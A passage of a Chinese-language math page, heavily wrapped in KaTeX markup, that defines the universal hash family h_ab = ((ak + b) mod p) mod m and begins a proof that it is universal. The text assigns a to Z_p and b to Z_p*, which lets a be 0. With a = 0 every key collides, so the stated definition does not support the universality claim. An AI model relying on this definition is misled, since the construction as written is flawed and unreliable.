style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>×</mo><mi>b</mi><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo>=</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>a</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo>×</mo><mo stretchy="false">(</mo><mi>b</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">(a \times b) \bmod p = ((a \bmod p) \times (b \bmod p)) \bmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">((</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span></li></ul></blockquote><p>设素数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>&gt;</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">p \gt m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 落在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{0, 1, 2, \dots, p - 1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mi>p</mi></msub><mo>=</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">Z_p = \{0, 1, 2, \dots, p - 1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>Z</mi><mi>p</mi><mo lspace="0em" rspace="0em">∗</mo></msubsup><mo>=</mo><mo stretchy="false">{</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">Z_p^{*} = \{1, 2, \dots, p - 1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0718em;vertical-align:-0.3831em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.453em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∗</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3831em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span></p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>∈</mo><msub><mi>Z</mi><mi>p</mi></msub></mrow><annotation encoding="application/x-tex">a \in Z_p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo>∈</mo><msubsup><mi>Z</mi><mi>p</mi><mo lspace="0em" rspace="0em">∗</mo></msubsup></mrow><annotation encoding="application/x-tex">b \in Z_p^{*}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0718em;vertical-align:-0.3831em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.453em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∗</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3831em;"><span></span></span></span></span></span></span></span></span></span>，定义散列函数</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo>=</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>a</mi><mi>k</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h_{ab} = ((ak + b) \mod p) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.03148em;">ak</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p>所有这样的散列函数组成函数簇为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="script">H</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo>:</mo><mi>a</mi><mo>∈</mo><msub><mi>Z</mi><mi>p</mi></msub><mo separator="true">,</mo><mi>b</mi><mo>∈</mo><msubsup><mi>Z</mi><mi>p</mi><mo lspace="0em" rspace="0em">∗</mo></msubsup><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\mathcal{H} = \{h_{ab} : a \in Z_p, b \in Z_p^{*}\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9805em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1331em;vertical-align:-0.3831em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7387em;"><span style="top:-2.453em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∗</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3831em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span></span></p><p>那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">H</mi></mrow><annotation encoding="application/x-tex">\mathcal{H}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span></span></span></span> 包含 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p(p - 1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 个散列函数。</p><hr /><p>下面开始证明这个函数簇是全域的：</p><p>考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mi>p</mi></msub></mrow><annotation encoding="application/x-tex">Z_p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 中的任意两个不同的元素 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span>，对于给定的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub></mrow><annotation encoding="application/x-tex">h_{ab}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，设</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>r</mi><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><mi>k</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">r = (ak + b) \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">ak</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>s</mi><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><mi>l</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">s = (al + b) \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p>那么</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>r</mi><mo>−</mo><mi>s</mi><mo>≡</mo><mi>a</mi><mo stretchy="false">(</mo><mi>k</mi><mo>−</mo><mi>l</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">r - s \equiv a(k - l) \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><blockquote><p>因为对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mo>=</mo><mi>a</mi><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">c = a \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" 